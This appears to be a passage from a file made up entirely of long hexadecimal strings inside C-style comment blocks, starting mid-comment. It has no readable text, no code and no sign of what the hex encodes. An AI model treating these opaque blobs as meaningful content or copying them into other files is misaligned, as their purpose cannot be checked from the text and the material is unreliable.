33cadb1c0226d1550675c82b7333813146788cd861c24aa61458280b71fa5e79f884aab1d06fc6b56c8a7f386e9fc9de5f622ce9bda5b9c94b47ab5c6c323086b246f672d3e0edf65c23eec6908169c656720a352693eea2f3c3476f99ec314a8a3aee6c1e7d18a26a827e5ce1f5594ba06d341b341b974ba54bcd252dff62c24e596d348393988e640f91f9a7f8827927aa82b42c06330fa8b212fd5d900ba440bccdde837808d8f1d42407da717b572707e5bd724621ea29a9c3aef8a408de05fcd0edc22cd87738ec6cbd63cfc0126611016d27d1e0d26a4a539e7d0cfac3f0d708026768a404616bf44153889f15bdc1d77059a7f4ecba7237909e315a968829e80da23cd7f6e4c14be0b6a44ac9e2342ee034a352023c768281e4795902098f11d2f8dcec5c23590393c3b7c1b07bc1d6a0bb2af3fcfda4ab4a5896e3125441573883e33a5acb1aefe8b2e4551f6d6e2c9fd35df39315db8435a5b3ea984179fc7e84b04c32db49b32b5b2395afe1786a500303db02d38566e0ca145cc0d018208c6ebcb3da2deb19397c3b8761844264bff13cd7adebd8ac89d5e850b7728e5c083199136d155bb34c0034c520d91bd08139ec009cbd363a3d4b3d39c6405dc1d4b465987f84bd7e90baf8041a804b5997f182152cedb0ca2a09e1c10dd5f2a6ba769817ab8ba6cc04c2c02e3779e0304ee84b3ef81e234fc478800fe0424b650468c986ee9fe3296be82437e1c13aaaf22a3d1b6ec0d92ec23837e6793c3a5ab95fc2add6076ac70170ed9762644fc9dba23789f1b2c86af41677f84800466169af27d6f901facf4a885a6042436937eebda252baed359f86b2d8f2fbbb05b31e89c376bfda631467d9431125ea4eb42c7516d171d24fef87499a1119a808cb1f411c4e9165b00e402614b8902aec5d55a235ca8f017493d9993243c171d00eee6a8ba776793c5fdb4685eb3d06d9bd9cfd106ccba788e44fd9bde6985c3b361292943bddd10caf589fde9e68c63baf26abc86bd8cc246cde04b1a9a8d187e629713d6b41101fe78f6f3ed0b116b7536707458621ebffcd4e2f66ef257d43256cb097b1e1bb44ee2e4eaabd8612942eaf0706834b39d872f56493f67c7ccf09d038bf592db2a96643e55cb1ed46eb6f75d04e77b485c27a5055846d79266cad187d09daa14aeb4b53ef5fbb968517527dd37dea16f85c39a579a50f3cd8d486061bf14ad45aee189671636dd9bcd0408e397a25775e53a56e8bb5106800a3ca2de32b996df979e2c6069edbfed9152bab3b2ab8e12c1462faef478e5ecd6d3aaf1c91db7fe5b2752fc698b9a501515b587ea85920c88e0922d678da02817f9f586b124006d82230734e5e87c3b3d0e5f7520529341af543db3e4874c2076125da6efe0736d3e1b597ef2e8a1cc3d7b15b7cd619726571c34290315152c3dce9b9e60477104fb26903eb5d354d382b10c7b0b8f5981e5c96f7507e1a3143d38c8bb0a7da0831b8a26dc79d12e71f7ad63ebb4b80469f18a63c025e3d09ec0319be3405e19ee5b9562728be737f4e3b43eca5835a4ce1a1bc4b3f62567a619a21acd030e3da9f17a2c4ca479b2af14839e2fc128e6c69a251f3f0ba2e23118fed28e22724a167b5a52fdf72b7a04790964e630193ad8703046ce4e237038e1eb278b35176724d6f6ba1726606047629ef21994e2a0de3676ddedaaee4b9d7c5a6f4fdb43d0cb6cafe320099c65543f379726dbc6c295a8d4aba32ecdca2d230c2a5ba39f93797b7e3db180c145d1e8a5f1b63818eb4af684c38c048eaa83699e7ed599063ea5b89c643e582a7f79b3c87f4a2c80daad4c8f079c616ba48b5a41c714c367826eb72ab6445dd6b443e265a029b99e2ca7fe82b2716139cccd474f207671a15168e38e20ee34766822a5bc4a797a3f43231c940fb8d51724bb73ac8b9e1028eb290a5848658a30a6ac9c5e42ea243b670059618edf5c494d9e6d38848c81d02f8153130845a534c384b89e25d35147fe1df44e*/
/*93beb6f05996d84ec284efe8f89c12242f26136e915ec8c485f3f44b84a7929d2aa331a0b8e206040f4f8afe085ae56ba97f0bd4a89f059a62cfb7557e44fdb845f4dce520b03c762c4b101d1dc51d21c19d14d45f1e1b9f77586da4f2b2b89f6f823dfce07e85bb6c4dd5c38bcb3ad150cb9db3399054bcaa41ceafdd5546070472586af26eb2181060824e8c99edd6c74b3302b0a4f9bbe32391694228d018798abf637041cec6e147c217b0d6051274ec58c94fe28144865462cf1b6c43424bb6f207e709a46b25836a0ea22f9274c37127b32c94a0e1ddfdac976a566e13ee263b489e3810cbdf650c153219cba8bb1c27ccdc9bb6b59181109345589deabe56128a535102c82904cd89588ae95d58e42d38c8adfc5d722649175d1e49090c5878918057348ecaff304765a61e8c2f6d3810740afc834893a96f5eef11a427ebf71fd469afd42cd013019d92263c993ce67754c9f7d895f603bf091f83f8696a31a42f56b717b1ea94446adc6df6c160ea8b5e570a792c6a02528628f2f776d7c526016ae3c885591fcfca592953a181c96dacb158386009e2634cfbf0a7d03b981886ee429c831c4ad5a1c17dcbeb953caf043a421fdf803bdb0461fbe0110b1c4d600bcd95298ac4cdc369b62670f2ec984fc07664c5f88601e2f4c5d1d64652ef1adce657eec7848bb4984a6391d9e924a4c25c51ad0c2e44c8d09827a7274ffa994b4ed80322bfba958baf4a40a341f1069866e49e828931e0c0444875ba32610bfe0a0612e3133ca7a6abe511afae4ff020b32a86ba31861525d1a62862726d5bb6d0e02b77aa70ae555533955faaa6472a2a58c304547095410d9d11cbd6bcd8359efcc8e4cc761b7b71303fd52bbfd1628bbf5554b8be2bf90ce3fe2a6d990136216bbb206c058a1830acddd0856bda459d718b716f359cf09ee798844255639ee976042e0bf19c54f2aa5266b96c855c51ac5681f267236747f9599afb74d31782790f85a700af5b7ba000f7fa5761b3523d5a611fa76a6b66a22e94ee892b2b7d3ff12a41ea6bb4a7161ce330664bd51e1612548918f575dbc6c707393f062bbe2c4c98edabf9edbe4aefe21dc40836640843a939d03fdda95f899c4e432ff608985b2bc66cdcff99835700510206a655c1176a1264b19a4033cefe2e171c38138f3670b9ac6f8240e79d127b6cd4940cfd44424785786c764573e45fc4e03e0f29dc8e35d47423604e861d679cf928e6e7c810dee5a3a0d3bfc9e420349593eb909bc775292e426d411d7e9b319a8feb363903347068bd637883cb246515024534324318a5a73d5f2ae148323b310a6c33d76f27b3c62165088daffa126cdb6800df25356f9ac7df5252034ab6cd673ba2529d7fe8e1b55d447042fa763190d19fcfea3216bd649532275ce2ae3f94a1dc58f485c08dd700e560ba9132c854467d14f2d8e38f4fa295a700bece142e93ed1ccbc40b7f58f34bb61cf33ec93845801de5b965e9b5d142d489913289e5f605183078fc2530bce9fd7aa62d96a165f90fbead17b748ffc49fe1fd1879e55e870a2d4e1486b415da53d4b82a0bc3dba316b68df253b89a00e4ca4a4bc142d10cee5f441e6b1c60548e5f050a4cd3bf750689f8e89f31cb88e0b5754109581281acfbfc1b3942543d0de4d23aaaddfd949b0938a6853fc68c24ce33e5dd5bcbc21f74f5f98ff85582d57cc7375306b6590b3547df4bafdec014ccf000dec70923fb720b163c8dbe22fde16f33bca50944af6492097df6a4cfc679a2ef9986b60b34d99ddb99217c8071d28cf388fd8f14590b7a981071e1e85d40cc34eeced6f2869aba855c9484bf145e7b85de516f7292360142fee66c2330a5f6c98daaba58ec41fea63edf6dd5b95c093bc2d2b2fefb37d82d019b0a41b26ed85ab68156cfaadcddcc4c830809dee4975a0f1b980db087179defa04840ed005cda713cf281688d521fea13ac8265ec26117d32cf909899994329a20bd55a8c4f7f8359b89ccb339163a43ef0b77f8a8236b13ddff1374fc7b23c25d997b5c478f59a0f7e0a561dbfea0320d65f23003a82ab6159fad986f8242e60ae73a3fa3fbef9c89291b0edecc7b7d55f7df4a58cc71b776a18687ef901237993a1b71cb3480d9ce2be13d3cd67040cb06b6f99f87570409b96aaf9acbd730e8e9908bf5933057c92622a40474eda300c3a72dc40cce6d5ce55f44873464fcfc485c599664452a57d28760d4ac408945841cfe0c17f5478509a4c54ccdc1ea15d43bfd9b013981d36b4b449ff303f6d4bc5849d2beec69354d6c8b5c2eac3a6d214687eb2268c8f927d015af574533d7a402eb0231a1e5a0be35e766d3ac4bb9e5af7432024178e17f4b3aa254db104103723b53de3fb0dbd9050a046a15d171fbcc937a95328a89c570db5d6278dc3fdbf59c9eefd018393daefc21bc17c9cc89dcedd8bd675f8f8ce83549452bd64599b17347d041c4107a56093a185d6b37ebd3004d4d4091bb5031697361bd93d4afe508924e67f7c4b3ffcef32cd3acb93d336f6cdaf1b60ae8168dd81be9139650553e0ed2db9638b1e5c5b31f585121cf5caeafbf44e1d5fdc57f94f11d38797b5bbf7cdde767782ed25170688a7fbeb3cc4143f95031fd98150417c0031d656951e550e2bd7545642f1ab6a0c7b03b8c610cc495768546f7d187014c330efb627988df202cd12dc48cc31c84a1924997cc9e86588b42f899e3e602b0c3536b09dd925ad8709d0ddf000f3f9b1059fe87e971476c5621caae806da7beb3b445a744571d376f1d00e8734ffb5da725ce175*/
/*20b7d9025dbcc4bd89f1f3921cc92ad7484cff25e3f77787a3d91b144577a97462631e8e0cf192a8bfc21006efec226051203249ffa49c6a42b245c4547ad106162db8eaa9cde5505e548e0866a7915fec7343eabbc8385b7f89b8b1e0a3f394ec60251c60c6eb5a43ac26500bf12493631928ffebf9b23adb4c4021da4013ee3a48429670d44c2c062dcfdaa1b10f9134dcf16f501332680c26c94dd11612a285b902bbdeab8b7a5b8fbd2e48539f138b8b057d7f180310e5e1a63c8838dfa26d497cc043c8b9109b4e3631a703885918d5f3370615adbcca00b5d2cccd3bf594343d5c3d2660bffdb07da3f325bc1a95ec38f5c8eec32d938a7ffd4fd3975addd2fd83691ca0293b17bb0fc39b07de1deeba63c7605916d80e20c8f3d29a4aed8a72b97bd5d8237c321be5a754a61abffd92d4992d0e4b18e24597bf283297eb49968b39c32509afaa54a3f9786472215b69edcb436a5d919d02204de0d9fecc767aea05a2207fa47999526395c09585ce29e6e735a8fde330fdc298e80c798d5650a41bf699d7d75680223a77840dc61eae6a023006a67966d2c623a16c2499875ba37a8c161c4b3bee6f50d125ff61dfbc5a303f317737298f5d21dbdb24f4345029480c0c0f4a1578cc494cf248e1a306adb46a7d0ba8a23e00cbdede0afd5dec6159e37a9d5249db97c5097adfa9e2076aec26d85d643647bccc87fc0036d1c78eb8c6430a6bf56a4a439a1098cdb420747f7cb061ddd7d84b65b267ba35979a5a2c2ebecb970017528ff2c6f9e70e56ffe0ee2791bef71fbef509b01fa6e99399e458743cca844c98c00ccea019637a7999a0521beaf3a4862156b4ea38d33309150dbb031ee05a1b889a8dc73fc1e0674f775bd9e74c62413e463f87da16fae7e32a5740d7585186fcf28290e7d819e023bea3cf33c45df5770a1599bb57c6df25fecc09e4a1e22302322a5cf95b357d4a5fbd715b7285dc32fd68bda305233edd3e4255abd35d0f92aa14598f201917b04503f8052fcc8ba4c2ef3479c24298068cace1864f9167da34dfc388e3c867cd4f03a9805d9e7d1e81f62fdd68a447bdc8642fc9a9bccf54fe90f35eb441c16e6ddc58a3a2035a273b5043e6b494d42e17e3301fe8b69070848e7140c26133ab7863bc0afe290fa329c81727f455df18af1d80a2b32c3135a7470f0a8bda7cc2374648836f2d275e63fce42aa0d97555efe33b499694fad8f3997843ee390a78e89099e2c0339c379c539da3cb49fad4aa9114c6594acc7ea943ac33544b7c141b7e4243d67ad37356db15b5fe7a26624743e735ca645401c39c6bf88ee0b8748fda75b8602696ca53f07266e6b591810ed6753a2691fdf26c864b2442bebdc30b966e7898ead6fa8ce722c1e269015e61b4f625984b0080aece0f1ed8ea204fb55c06a34a1073190dd7f58dccfaf2d7288fb83ac42501db8ab0b22b847506fe61dd3198b2e92779543db513f4269981ae677ded1b3bb33ea71137427f83ef3a6aeb032e156169bdfc73b4268c8095bcfec661e7c6862a0de81956a931d6e3fb1e04bfcc0ee9a36108a2fe8c734c6de5cdd05bd8f6b86eac3d27152e261a2d7637555dcc3b4d7c06f03ee8483723d4badf2c22de6eee3d13ae1177fb93340b047c6088e08544f14fd9e3e1f4ab43aeb64148f479b8f71c8dc54454cece60ba4ee1d2e15c48a981871f3f8605575a9a7f8e7d54a6f8231378a3012eb1e76f49cead51974b1ce150c791cf138b6e711bb07cc22b946d8c62230d22d1ae94ef1f9dafbe52e3912b44af73e640e3cec2a3a6b75d918501ec00e1740b128190d48cca554260ff6b45a1cca8e9af7f7d28c67c26f30554b6e52ae8f704b0f6db92fdc27ff14e29297ea70ee879841a8683d80817b813b21a0e2e3fa517c256f4903e9d82aeec20d0237299227ada85126e203a0542cfc3ae85c14a53d16c2626487896d4f8152f4becc0f3cf44bd42d9f141930b1e9ca0735c2dd7b53918c5b6bfb318a94697c7d5e949dee1ee532274ebfd8cc8acb3ce1afa45906bf05aecf4fcb551f2b255008316591382edce65678dcf65f106d32ac11d66559e1cb8f7815387be33847af0ade2e7845b863cb13b4d138c838c2dfb136e73d8219fa445773401d9a76195381a32126873c188640847f78d6e4124eb2d290cbf6a238492ba5dbdc6305626a10a3d9797c03f99648943752a12f9e47f694f1faadd548157a8c115b7f6020668ff69a099dac729605e02bdb37b0f494ddd698054de7a29b7ceba669e6353173015fff5022cd797a12ec4a77b84478cc5ac042b39711c97b9b1928966aad0195e46a6d2317f264c98e27895c38275727d32698f8d08086cb826d759b0e72e007590da2f9e3bb59807adaf9e8ca6419382f71771095b5d5d8432c8d8b800f8e3e30cf82e7706d4058a2dbfa17da9ac638dc526b6a48c4df25c08052879de91ed154fb79f6a1c350fc047109370674f19220f0814070c3020d4ff7f0ae79759bc69828c5b269c7f10f5af03b0097c4e5d1f0b74d0d01096699928667e782ae96f4e8a77551f14da2d91ceed049a89ef5eeb4bcec18ecd02ca6c9363cfb7deaba9fe23126c6a2752d01484d09308916da47c7941bb7e68ff3d5aff1ecb554896e2d138ccf2640266054de92db91a934c92d4fa719fa6249cc3b6d855fb455eecbf9919e7a1628c9261062db326a2b88ca0cc026ea33c6296562ebc432b117a2a7080a74ff040a6300315e06b568e2deb5b261fe95278b050e90149569b5b126cd4a0daec2b632a4da9a3850293ca84fc40f9dcadb63ea7b899*/
/*6bb39c86cde00642b308a21d37bc3ac7440f36380ed2d3a82c7382c890c31417913240208794179968d8279152646ed22a22479837f2ad5a4467fbb2bdfad616adfcbe6272b72b9b58b3d821824a548a39f475c7e39282e43ae9e121bfd2a8a718926f84ca06287d92ffe95e9ed0639f5322deec4ff58384b71d3c18ff74208de9d1d236139cde37101d40fed8f9b64dab45e5238d34d2699eb99e0867498ff7252823ef2b29c3e5151a5add5686d03e4a694ceab85214d0123a147c0c26a0a90c445a1a2cdce0aae33599f002474f3f177b65315d8288fb990b1cace095a8815806a2776725ec03b4adf9ae4f8831e33979763e0d8faf374315b22c9dae37010531f33174d9b97526ad8b35e1677a644878573a3e9afeac0e8a9ed6f6d64ebb9ba8b4664dea57a884d28c2046bf6e52c8403190b621c0bd5a88f83ce6b4dbdb2e031ccd0f9560adf4c9a81e51be5097724536908685d2011d91fee0479e94073a277435864195f2e639b90ba1b8f15a6912ea60896606813a6cf23267373a148093eccd470c0e7840d6e78845e6fff64bdbbb5762f05cfece1306a767096631d2ae3932de9f1a732069de85f108d3fe4835b53697f6033ffc6b3d6a3e1a5e3105bb0b8d90d90f5e1f3f53d82b96b609fa1844f7a3ebe37800fd3fb064fb62e4ceb86f38f80cf76183995f9178d5d71e88455fcaee33858ac5e0ca7603518d388c0cf5ae4ee2a23e29409947a340a35b4b097cbc691e0a9bf1c6e4d40cceaab254f58c8d882ce9b7e28115fc38c46487b243f60d8975630b6be7cf1c79af15904d5afafb279773244240ada7d7856c2a23fc03478e9828600dba9ff4d2bb577f9272dff08744a96e7517042a34b8418fd13da26e615266a8f8b0f4d8c6e8d2b4939c20d3bc53916b857945af0710a223080300eb8e08b7ff467281920e342c359e0f45f9f489d6f486460ef9f9fb3d9ad58647be81fb7b92ed29822afb9e5f2e0739fae87f5a0bb420c34b9d6e5a5c140af15071dc113d0b81735043e32d32db3bb988f8677916dcf60090aa40cd195ae8ee5e38124c69566e44ba58e5327ba7b5ce33177efadd9dc4b0d1c253a6ec7de59ae486ef2732346c68a291cbe903043161de371c8364c802159b573a15ece3282883463286f1862a6bd010ef28b0ee67e1c0d276efee908496f71dfd4e6f8edb76291f7b4bb8bd45c5e08a96329c4755f2532cd6daa089a8bdef299c03c1d6eb5f1447054bdb56ea10cadd294af4cda04f46016747142f278213fbd0e3a9421066388f6da37af8b8df5ad867a2e140dc244d9c5172951818002ebd78a0dbb1a10299f2d2fc014af2ab638adb2a9f1022b7866206dfadb14b2785940cd152920ced42608bdc31009aab327dc887cf412a85b8086c8a5fde35f03f547a5c6df9b9d55ddd48ca4053ccd730906b400ad2f7ed92fce3953591811ce79fcb4dde4eccdca8c675dbeaf0ac507377ad66e32bf366b3a8008709fbe1cc8a0c00391ebcc0edae521d19b44969793d390d28a9df6365457a53f8b26f5cd0ebc704fb3d8ad7edd9f9a2dfda1bce761ed2b9f0415a56b0e54b1c141ab2776c99fa731c91be4dce132c7d4cb4c7c9621500924173ce3c92824049784205c36f5d876faecf7ef5bdab6b52cfe9fc89e77144907c9717d196b8c6f1b7512210a741ad0f1e8ddfdf85a22452fcb3d9a4f7ea5a00d489c6e93b82eea7f4478391d2af0ed261a1b278ececa815039c6310c2633e47538d2c3b9bf2a59f7b77e87ed858afb4139fa4bc80acc908f8f156b81e87175b8d8042e787afc02b5531ee44bdb202272db08f3d26d463790da8ae80ae8aabd3a4288502776845d4d0b012dbf676002373be5c44c0c07482f37a0e2cfe41cdb5f43c32e0a773a717fdaf4da7997737d8b408c2f404d45c1a85863daddb17374e70e4aad2ed833951596cf745974c4a8e49754e23974f4af66affb5c0c334fca4a0f799f7ffaecd0ba865e5604f3758c87eb0b126074399a369e5d1687575460d852f7c88801fcbc9f6b465abe2851dc12970dd4b372a33e498462978f1b5936fe77263ccc4a5f5f1d453fa1f1c956a73af887af819a6ef15cee5209832c6965cfb370910b310cb0a749f9d7742895ba48a2d0ba1e38bb1f5e5b5967a5173ff2d11b2eb2c826c52201139411a87b3c07cb7efc3f82c581815b28fb652cd76651dacc132ebee0c2574d43077575f1fa9e85d67542162bb2fb01f1ec35d4a2c50b48ed978831cab7cd52e14e51786e8979540acfc009539656d8af9bfdc737b698817058b395d7d0b79602e567dad72cadce6e48cb6b8faee714b9f0e61f7f3158fdab6004f960a4bdfc0e3464ae7c3b8ff2f7651d7968d07147605777389339c5232816faf8e12484105112526fba4c7bd756bd4c66c872761f6919e390ef48a6bcfa2d69465a7dfbe38a90e1d0881863e4209ea5ffe64c020d4433802992038110b09f8a76d510ece55b5ccdadb041c56b0b5338732febe1d31a375649ee7910c9ea723b95b696930ac78cc323c6036424069bf12cd322caf5aa9bf95b88daf50610af2ba098ef154046f3da9d75e39d3e3b2fd18a46c63fbc718818b2697025b8bb52b514f921c7e24e59b3459f8dcad5e475767f6ae65deda2115570efae329c5e3d3fe8a5a9fc0c7da5fcab49a3e8edc3f428eac8e3477223552a77e61a07f47181b6c189addc761a8cd0aea235a9955cba4a0cbab3cc11b274ccedc6b251a4f344a24923a7a836a9b5c4ffefa103a3f7a43838a9f8015e6fb18e90c0cea8f2aa17e53e1867d8e9decec6249fa2f2ff244f4*/
/*1fba88b5b9789dd39a720d17ff3539118ff8245af35095cc275aab9b7c77d6297e908cec68b691602f0a49faa48f427a207f968ebfeb3075edbf80da645c65319c498211d9980acba27500ff20503f4494d0271e32a1b532efa2ea0fb2808adb710c37c7ba97425a607e5ba81b2fdde54f1f1782132dc860b08e2eca90e14f9b4ab690da4f9f72118455122e2e3b650e41381bd941765d22ceae7caea02d78c0f04851e326cd095a9160342ae4ad1c994d606a49394a0aa434b0fbd47a14c68fdc42e4bdb3ed103a0650f1d835ad61452491c53b5456208f09e62676103e37ea5f1183f5c6bf835fb02e2885e33b40730cab4c6afe9bc7b469bdc69de0bec45a05174db4a1722be2343db9be09fa8b46990371fefa62bd2c9522b52c1f2716be17abdb2f5d29191046b684b6ac6a7feddb9f45844a31991bbeab417233c07c4380ae98396701a962a9de85f2ec5f879fe8314e65cf6f534e5faea5ab2c7f0d7ef5c95aba24232d99b7fc36791bdeccac1f726bd8e50785573386c92fb945d0b033f00b7f2ed1d4a6d5a1ceb90604ba136056013aa625f50b896ff4c4c887d9c464e7231bedef2f13cf62a5a2142c204ce128b9388f488e9ded0b1c01c98aacd77806329f7823942c93a63405f9f9cab40a7af28c215c5f0150428ae338ec58420dd71e6d099a5e7d65102b1104b1d6f8e7da6302c0bfc9b38e5c102cbed897f72b46542d05c2536820cbf0b937b7ae794d27ceee229963fd2c0604f6ae69476c6c6ad869172b97351469d6e1c7a278c771fdfb947c2e7fcf24e8f0a2b45b6bc95a11a14085d16479a61a2a0c9b43d004e08f4db27ca34f18872c55e8b2ef8c8483caa0ca8b6437460c4852838198f16af9b380c80a123f1b8c0ba5ca417ea3b6bab963d2b27eb9e9938de36c419fe2fad72eb987fc6d4671609c11b0aab7894f06c1f032b9e1be6ee5d576b928b99f45d8515551d1e3763a0ab7a5b5d01d7ffc611981f35a8541885d24ba7deb96e4faf93b72366b8f3a89ef4d7e24ff32f588beae3bf56a771a612350830b4628a3ee7c27362f012459b3aa9ca436c141b7db75a4273c15bedb1641ac4aa4b84ea7b7370620437c22dfa675d59d1fede11cfb8369f598201cecd9bde3c645dfd38937a1dcaade820ac6b6712cd90e7d85422361fbe9f6fe950d4ee5849fc9cd3bb8b99dba437e53bb4ec5c2b76130ce19f7833ab1ff8fe14c1b5584d1a37130f8b90ad66298dac4df7447316004cc7ab75780aef13461e22a77f618746fa8d0d8077b1ef43df3c4ba513208d895c10b80ec845374823e87e653abdb7090cf436173eb981ea55fc9e42e85c7a2a38b2202baec48ebd6e2381bb6e1283c16a0b2dea20451e9b75f1b6ca96e6f870ed246f91af6042ebd5aea0cf4fefe1ef21b417b14b47cc219db62b2d09552cff8efe83335cb97c68d43b96bab0509c8b4e5757694084eb9a6d732b5fa884429d7e3e65bdad873294882d648aeca54a1f1de99fb457ac649e84b52bd1fa5a542b35a000e09368f20e00d542cc211935f8aca0f87fa34e9372887cd2065e97cc1a0f9a1c3ba764484b1840c24827fe241a8e6f7544ce30383cecd65c5ce0739763f1609315d6a0eb0096938866bd1bbef3f1d5ef52dd32a02d8d73ab1ee18608d3e6f93b70366fea9967d2e196cc2ac344d9c3df09fcef3b07ceba3e1b2ca6568153b804c30c37c08bfcaa3dd59970124795122cd06da65ff11e0f33d535db43e92be63bc2296163964d1ae32221da05cb3f5cf2631b787ee5397315e58bce25c8ec977f04a4be4c5b920609d69062a4fee4b5b8bc6ba7c661b1c05fb8369ed80fece93a1793c96ee34fd6648bc9c5996c267884483c0fb8b1a118300f9dcd5ab7a32036c79d92748a5145b3478fb217cd799bf952d27e68822aaacea3b44f000b2ad834dcb396390692fa95981cd422e5cf9cf4a04a9d18c2f605b7c1c0092a0eae30e98e511cb0c453898f208ec38a3b8a6dce7668e298255cc50284e9069e3e8ec4638f2f3ba83bc17d75b280942c9431c326b28cf169368cae5c2b8b3fd70bc12a2bda6a72d4405bc6caa9f38b3b0181cbdb3feba7c6e3bd2380a619b881e4deb544244ca33b812e91e7c3da71705941752228492082e2de4390bfa84ab4fde20a60df705f613eca49d6a7aaf8c7b1aa91b9be94ecf56a9184cd826380f5e2a0ba857a87abf5d97f45f39f1f00a11d8165ccc7455ec268c5b06a8f28f2fe791c13d9acff042fcc0972e0147f81e453f3eb757d37f921aade336cb353d59b6c7b59627fb90c37297e2ec12f1ecf75b644b7dce99e77a314104042525e7d604d64ea7ef187891ef773581417b384f7eeacd7cb6ba07dac976d95b7e9d5585f63bfeef4871ee5f0392c028f385552c8c24754ec73bec27378c61ab4bdd21a0eab183ebe9cd66344e7ba463cfca2395e7fccdffd459e5def41154dc47b42369b557d78e8da6911b3b7097d239086b2c695adbff46cb27a41ffca184bf34f0b5a58d127497d0d3232cfc184274195fa439950f1f5305e4516cf450ee006820dd425f65ce1d57215fd99ccb8ba392c97cd3131ab384f1ee2a5086c2610eb334fd0a7fe6908c215fd7059cc5f1226af6707c2825bf50fea40e0ca4f85c786ff2be11c1a926860572671602bfe0704bd7eceeb9d795d44dd0f1fd3ffff93ec846334cc6b8f016dca60839d073a553a7e2157a12c96cb23553d2f6357165d4bcd1fd8494caeedcfc8afc97c2c99e092751c8590f62edc2354992cc1bfe3397c3a8b26ec92a5e8c090fd008dc6ebd6210db58857eae970c9058*/
/*04e46ea3089c4466998ffd34a8294f7781fd1ffe4ec4e19c9c0b00d0da3f3248bd72c4507a19c874c8465bf95d7a76f6126b2b129906679d535faf4f2bb55d18c430db4e17a6499c7a3609fd12f3c2e47ad8b708cf2cd4f723125aa7ea96c700e8dc276ff49453d0dcb379cb1fe3e6dc73e26e335974851aaa81f4d496e31961b73bf6a5ebdd6d69229cf9fddbf71cc99a92101ab7a7a61cd2c742e706f0bfc50b3d958f20400449d1c3405a4af9ef954629eaed0de6a96667e0eb6c02d7376990d13bd486c60e4257ee8ce2eb865f296404d6d5d8d7542bfc7db28a1e622f82a63937556cbb6cd53aa3a50c2fe7b27b09a3cc3cf68324ea0b890ee79900cbcdf5909acb114d7ea57dd117ceb1eabde6a4c1305efc3b6b13e013b520968ccab5c6fb04dfc7d2b4512268a1bcbb9c582ba22627d05e619ede8aa6eba50bbd530350a67a400dcb9a1c27f733c9156237f5a928b3c530a39dd86f2a2e80e17508a9f953f924e73e0c1c83d1f0820f88a5c5f4bb2dfbaaef830d25077740247005e793efb67755750ac81bd901c2803f2cd4db0fde797b5f2f4cf3c8f63f1f34d5ebebfa47e68998b70d4b67af6c543fd584277de3be461be9a92ffc60a9f45127f2a41484c43baab46fb55f8901f187883af3b0f20955b1694dd7d1cab429940115da581db221f3777444cd4b7fbe4ff556dd9a685c6d94fb08fa117db7d8f08d01d8c17311ca6d9d230241fc73c6854f1c17c5acc74bfa814e581fa6398f36492e1c67cabb868268532964e598f0d610798f194c0378d2c6ae913aa62c68929a27726cd6eb62bad04656d7d8dd07a2d7be8e45ad86447eec89621b9bac33e3cde91935f0f680ff6070b00530da65043ba97fe2b4680b78bbc06863b5d5ccab774b03d37f88712020ed5dec5ffbefc8e9a3b0fdfea048597433d8ececa91b5a8fbe27b1456aba11d622ad2ef5461684407e17d14247b0785d4bfe4b0fcf1af72b1c3e764338302a017f359856df720a7b08637350bab541244e172e47d1738c57104f52a950650e83a6e525c4a3235add0abd956422cb8a0f26dc3442fda08295470efcd43cf49ad659788b347deb7a17fe824f564a095279355b6ba6e935d9cd08da4d71da70ce7991ef8a42daa4204df4eaee712c077d2c6a889682272056973f729a0d40cf1f19ddce722e0f4252b189a2dd8dd267233d196cd446ff3beaefadc9a76646f42278abaf12b27c280e10433d9c1f8604bc6c16f4c8ef095571ea555e98cd6008ac3642ee085f0023749bf8ac87294cd1cb3de70448c0ec40297f96bc55c7ffd1cb330f3afe2d38ce942522e4c89f6a16894695d2b1354c4fbcd0e319d51e22d25d86b62627d4337776bf73629adea5a6b6269a75f9ca8de1479987e2abafee33c015309da5748dcac4d25df968d227e36ceb3931d112237568c9551c13f5592c66470665551ec39d3e3916fec5bccd6c8d9fa9c94a81c58569cbce83fe91f25543a04f15240a789bbb286861eaac0c275cd20110cec65cb00bf68cc26a92ab6fdc443b1653d4e2a838868baaa6a2dbe2ac8652673a8c8b90b05701e7368270ea72ec889c23d41ffaf7b1192d06b5777600577f8b52d963518a4c9e07b4f262e4b91ba439ac0b7b0610c2f85b62ac3f844c930b9c600aee2876a9761e2c59873b2fe15966249206403af9eedffd3cfd5e03cc663b2dd6624e0bb4873993feafb2a1e8532f17344305b07a13658ebae4fd08a787fa572d75b1f7d19a9fb82532faa35c63c687a609ed2f8215c7288b608b6c3308ed5e9f3a1b9131f0b6200b8471eb82e00870704026b0df0e04a235645dacc946b1808c2a5b4371afbe372879db6e5c4e5bf1d3cfd59c681f89ad3767b224dcc3239caa71f943e9e89b6f30e68300f52cbd5b97a8590d8fc42dbe9904465ab358fb37c91729dc04b5e2021b914f174f3ccf1f3767304bbb21a2346710c9012a030a58a27d6d6df143242ccf9dbe93632eeec03beca785e19fe7b6c80f4ec40bd85893d1cfa5737b4158dd51c2a0dd95b28b24255523e67be1ca60fd1897f405c1551c60606fddfefa097622e5a3878e669ff2c6c7e6cb68e8a198d0610875c4ab042a2132527453d66d436f30472ca4eb9e7d15cf95680ce4dfe35f16a66a1a82bb97f509d5948ac0014db33be16d144f1a1150d13d2de754ea98211fe4e2f81d58621718cfd9b8f76f1f4c185e230c1697d3b61f39c1ba8871888f1aaec1d918d6abe2a82482a61b4bc419e93343d5be3b5c90abb4156437d037debf021d1b2abb936d8728fedb66ec9962873056b61f225d2342ab4c87c2d4fc8e7d6fab811f2d38c20861dbb5469b6bf0d44221d2acefb9ba0f49ad160b9ba63ce29ff3f54d25f3b945cf6c4c72949b6f03a8f0543b208df0b7180ee7135ccc11b2651a9eb8421212d5f4e846e20f69fce5b4aae6f6df1ffda6563a93596f3d3938661ab530e7b6fb7fa77ab33b4757c66d6e9511b0498e85e06d79d24795111b2f4b70bd5bd659238d5a435ba7f9a0c9803bda4ed87c8ad8550bf47dc6b938abb0ec934e3e25aed9f6572ffad0f854c2966426b951a7281fc668fc8efdc62b05b85ef665fddce30292d5dfbb8aec858856f578674ef4eb8c7560206e16d61612ec1682a0ef3bf844a5d15eb18e62243f59364e9f564107d5279c828946f435faead2afd53b5de0b09c93f50c29f7a95e36cdacd9d424c6591cc03d7b3d00e905ea9e9d768eec5b78e2185c94b1976e1e14c4a773e56ede19109259c04c54ecfb7d6a72f3d955f779fad8e1186918f60cffa4c10867e906912b670f1588*/
